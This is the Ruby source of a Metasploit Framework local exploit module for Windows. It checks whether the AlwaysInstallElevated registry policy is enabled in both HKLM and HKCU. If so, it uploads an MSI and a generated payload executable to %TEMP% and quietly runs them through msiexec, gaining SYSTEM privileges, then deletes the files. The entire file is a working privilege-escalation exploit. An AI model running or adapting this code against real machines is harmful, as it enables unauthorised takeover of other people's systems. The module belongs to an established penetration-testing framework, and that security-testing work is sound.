metasploit-framework/modules/exploits/windows/local/always_install_elevated.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
require 'msf/core/post/common'
require 'msf/core/post/file'

class Metasploit3 < Msf::Exploit::Local
	Rank = AverageRanking

	include Msf::Exploit::EXE
	include Msf::Post::Common
	include Msf::Post::File
	include Msf::Post::Windows::Registry

	def initialize(info={})
		super(update_info(info, {
			'Name'          => 'Windows AlwaysInstallElevated MSI',
			'Description'    => %q{
				This module checks the AlwaysInstallElevated registry keys which
				dictate if .MSI files should be installed with elevated privileges
				(NT AUTHORITY\SYSTEM).

				The default MSI file is data/exploits/exec_payload.msi with the WiX source
				file under external/source/exploits/exec_payload_msi/exec_payload.wxs.
				This MSI simply executes payload.exe within the same folder.

				The MSI may not execute succesfully successive times.

				MSI can be rebuilt from the source using the WIX tool with the following commands:
				candle exec_payload.wxs
				light exec_payload.wixobj
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Ben Campbell',
					'Parvez Anwar' # discovery?/inspiration
				],
			'Arch'          => [ ARCH_X86, ARCH_X86_64 ],
			'Platform'      => [ 'win' ],
			'SessionTypes'  => [ 'meterpreter' ],
			'DefaultOptions' =>
				{
					'WfsDelay' => 10,
					'EXITFUNC' => 'thread',
				},
			'Targets'       =>
				[
					[ 'Windows', { } ],
				],
			'References'    =>
				[
					[ 'URL', 'http://www.greyhathacker.net/?p=185' ],
					[ 'URL', 'http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx' ],
					[ 'URL', 'http://wix.sourceforge.net'] ,
				],
			'DisclosureDate'=> 'Mar 18 2010',
			'DefaultTarget' => 0
		}))

		register_advanced_options([
			OptString.new('LOG_FILE', [false, 'Remote path to output MSI log file to.', nil]),
			OptBool.new('QUIET', [true, 'Run the MSI with the /quiet flag.', true])
		], self.class)
	end

	def check
		install_elevated = "AlwaysInstallElevated"
		installer = "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer"
		hkcu = "HKEY_CURRENT_USER\\#{installer}"
		hklm = "HKEY_LOCAL_MACHINE\\#{installer}"

		local_machine_value = registry_getvaldata(hklm,install_elevated)

		if local_machine_value.nil?
			print_error("#{hklm}\\#{install_elevated} does not exist or is not accessible.")
			return Msf::Exploit::CheckCode::Safe
		elsif local_machine_value == 0
			print_error("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
			return Msf::Exploit::CheckCode::Safe
		else
			print_good("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
			current_user_value = registry_getvaldata(hkcu,install_elevated)

			if current_user_value.nil?
				print_error("#{hkcu}\\#{install_elevated} does not exist or is not accessible.")
				return Msf::Exploit::CheckCode::Safe
			elsif current_user_value == 0
				print_error("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
				return Msf::Exploit::CheckCode::Safe
			else
				print_good("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
				return Msf::Exploit::CheckCode::Vulnerable
			end
		end
	end

	def cleanup
		if @executed
			begin
				print_status("Deleting MSI...")
				file_rm(@msi_destination)
			rescue Rex::Post::Meterpreter::RequestError => e
				print_error(e.to_s)
				print_error("Failed to delete MSI #{@msi_destination}, manual cleanup may be required.")
			end

			begin
				print_status("Deleting Payload...")
				file_rm(@payload_destination)
			rescue Rex::Post::Meterpreter::RequestError => e
				print_error(e.to_s)
				print_error("Failed to delete payload #{@payload_destination}, this is expected if the exploit is successful, manual cleanup may be required.")
			end
		end
	end

	def exploit
		@executed = false
		if check == Msf::Exploit::CheckCode::Vulnerable
			@executed = true

			msi_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi"
			msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi")

			# Upload MSI
			# expand_path in Windows Shell appears to add a newline?
			@msi_destination = expand_path("%TEMP%\\#{msi_filename}")
			print_status("Uploading the MSI to #{@msi_destination} ...")
			#upload_file - ::File.read doesn't appear to work in windows...
			source = File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) }
			write_file(@msi_destination, source)

			# Upload payload
			payload = generate_payload_exe
			@payload_destination = expand_path("%TEMP%\\payload.exe")
			print_status("Uploading the Payload to #{@payload_destination} ...")
			write_file(@payload_destination, payload)
	
			# Execute MSI
			print_status("Executing MSI...")

			if datastore['LOG_FILE'].nil?
				logging = ""
			else
				logging = "/l* #{datastore['LOG_FILE']} "
			end

			if datastore['QUIET']
				quiet = "/quiet "
			else
				quiet = ""
			end

			cmd = "msiexec.exe #{logging}#{quiet}/package #{@msi_destination}"
			vprint_status("Executing: #{cmd}")
			result = cmd_exec(cmd)
			vprint_status("MSI command-line feedback: #{result}")
		end
	end
end